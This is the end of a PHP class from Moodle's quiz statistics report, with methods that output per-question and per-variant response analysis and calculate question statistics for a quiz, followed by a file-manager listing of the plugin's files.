     * Output all response analysis for all questions, sub-questions and variants. For download in a number of formats.
     *
     * @param $qubaids
     * @param $questions
     * @param $questionstats
     * @param $reporturl
     * @param $whichtries string
     */
    protected function output_all_question_response_analysis($qubaids,
                                                             $questions,
                                                             $questionstats,
                                                             $reporturl,
                                                             $whichtries = question_attempt::LAST_TRY) {
        foreach ($questions as $slot => $question) {
            if (question_bank::get_qtype(
                $question->qtype, false)->can_analyse_responses()
            ) {
                if ($questionstats->for_slot($slot)->get_variants()) {
                    foreach ($questionstats->for_slot($slot)->get_variants() as $variantno) {
                        $this->output_individual_question_response_analysis($question,
                                                                            $variantno,
                                                                            $questionstats->for_slot($slot, $variantno)->s,
                                                                            $reporturl,
                                                                            $qubaids,
                                                                            $whichtries);
                    }
                } else {
                    $this->output_individual_question_response_analysis($question,
                                                                        null,
                                                                        $questionstats->for_slot($slot)->s,
                                                                        $reporturl,
                                                                        $qubaids,
                                                                        $whichtries);
                }
            } else if ($subqids = $questionstats->for_slot($slot)->get_sub_question_ids()) {
                foreach ($subqids as $subqid) {
                    if ($variants = $questionstats->for_subq($subqid)->get_variants()) {
                        foreach ($variants as $variantno) {
                            $this->output_individual_question_response_analysis(
                                $questionstats->for_subq($subqid, $variantno)->question,
                                $variantno,
                                $questionstats->for_subq($subqid, $variantno)->s,
                                $reporturl,
                                $qubaids,
                                $whichtries);
                        }
                    } else {
                        $this->output_individual_question_response_analysis(
                            $questionstats->for_subq($subqid)->question,
                            null,
                            $questionstats->for_subq($subqid)->s,
                            $reporturl,
                            $qubaids,
                            $whichtries);

                    }
                }
            }
        }
    }

    /**
     * Load question stats for a quiz
     *
     * @param int $quizid question usage
     * @param bool $calculateifrequired if true (the default) the stats will be calculated if not already stored.
     *     If false, null will be returned if the stats are not already available.
     * @param bool $performanalysis if true (the default) and there are calculated stats, analysis will be performed
     *     for each question.
     * @return ?all_calculated_for_qubaid_condition question stats
     */
    public function calculate_questions_stats_for_question_bank(
            int $quizid,
            bool $calculateifrequired = true,
            bool $performanalysis = true,
        ): ?all_calculated_for_qubaid_condition {
        global $DB;
        $quiz = $DB->get_record('quiz', ['id' => $quizid], '*', MUST_EXIST);
        $questions = $this->load_and_initialise_questions_for_calculations($quiz);

        [, $questionstats] = $this->get_all_stats_and_analysis($quiz,
            $quiz->grademethod, question_attempt::ALL_TRIES, new \core\dml\sql_join(),
            $questions, null, $calculateifrequired, $performanalysis);

        return $questionstats;
    }
}

Filemanager

Name Type Size Permission Actions
classes Folder 0777
db Folder 0777
lang Folder 0777
tests Folder 0777
lib.php File 2.37 KB 0777
report.php File 45.4 KB 0777
settings.php File 1.26 KB 0777
statistics_form.php File 2.47 KB 0777
statistics_question_table.php File 6.38 KB 0777
statistics_table.php File 22.26 KB 0777
statisticslib.php File 3.71 KB 0777
upgrade.txt File 1.11 KB 0777
version.php File 1 KB 0777
Filemanager